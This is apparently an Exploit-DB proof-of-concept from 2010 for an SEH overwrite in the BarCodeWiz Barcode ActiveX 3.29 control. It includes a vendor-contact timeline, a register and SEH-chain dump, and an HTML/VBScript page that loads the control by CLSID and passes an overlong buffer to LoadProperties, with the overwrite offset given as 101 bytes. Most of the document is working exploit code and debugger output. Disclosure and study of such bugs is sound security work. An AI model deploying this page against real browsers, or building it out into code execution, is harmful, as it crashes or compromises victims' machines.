Barcodewiz BarCode ActiveX 3.29 – Denial of Service (PoC)

  • 作者： loneferret
    日期： 2010-07-30
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/14504/
  • # BarCodeWiz Barcode ActiveX Control 3.29 PoC (SEH)
# Bug found: 24th July 2010
# Foundby: loneferret
# Software: http://www.barcodewiz.com/
# Nods to exploit-db.com

# Vulnerable file BarCodeWiz.dll
# LoadProperties method

# Tested on:
# Windows XP Professional SP3 & Windows XP Home SP3
# Internet Explorer 6 & Internet Explorer 7
 
# Vendor contacted: 24th July 2010
# Vendor first reply: 26th July 2010: Wanting more information
# Vendor contacted: 26th July 2010: Sent 2 proof of concepts files
# Vendor contacted: 29 July 2010: Asked for update
# No Response from vendor: 30 July 2010
# Public Release : 30 Juley 2010
 

# CPU Registers Information
#
# EAX 7EFEFEFE
# ECX 0013FBF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.................
# EDX 41414141
# EBX 01AB3D68
# ESP 0013AC94
# EBP 0013AD48
# ESI 00000000
# EDI 0013FFFD
# EIP 1002F379 BarcodeW.1002F379
# C 0ES 0023 32bit 0(FFFFFFFF)
# P 1CS 001B 32bit 0(FFFFFFFF)
# A 0SS 0023 32bit 0(FFFFFFFF)
# Z 1DS 0023 32bit 0(FFFFFFFF)
# S 0FS 003B 32bit 7FFDF000(FFF)
# T 0GS 0000 NULL
# D 0
# O 0LastErr ERROR_SUCCESS (00000000)
# EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
# ST0 empty -??? FFFF 00690069 00690069
# ST1 empty -??? FFFF 00F000F0 00F000F0
# ST2 empty -??? FFFF 00690058 00570054
# ST3 empty -??? FFFF 00EF00C9 00C600C1
# ST4 empty -NAN FFFF FFD9D7D2 FFEEEDEB
# ST5 empty -??? FFFF 00F000C9 00C700C2
# ST6 empty 1.0000000000000000000
# ST7 empty 2838.0000000000000000
# 3 2 1 0E S P U O Z D I
# FST 4000Cond 1 0 0 0Err 0 0 0 0 0 0 0 0(EQ)
# FCW 027FPrec NEAR,53Mask1 1 1 1 1 1

# SEH Information
#
# SEH chain of main thread, item 0
#Address=0013E574
#SE handler=41414141


# SEH is overwritten starting at the 101th position of our buffer.

----HTML FILE FROM HERE ON-----
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='vbscript'>

buffer = String(101,"A")
SEH = String(4, "B")
buffer2 = String(1895, "C")

arg1 = buffer + SEH + buffer2

target.LoadProperties arg1

 
</script>

Barcodewiz 3.29
</html>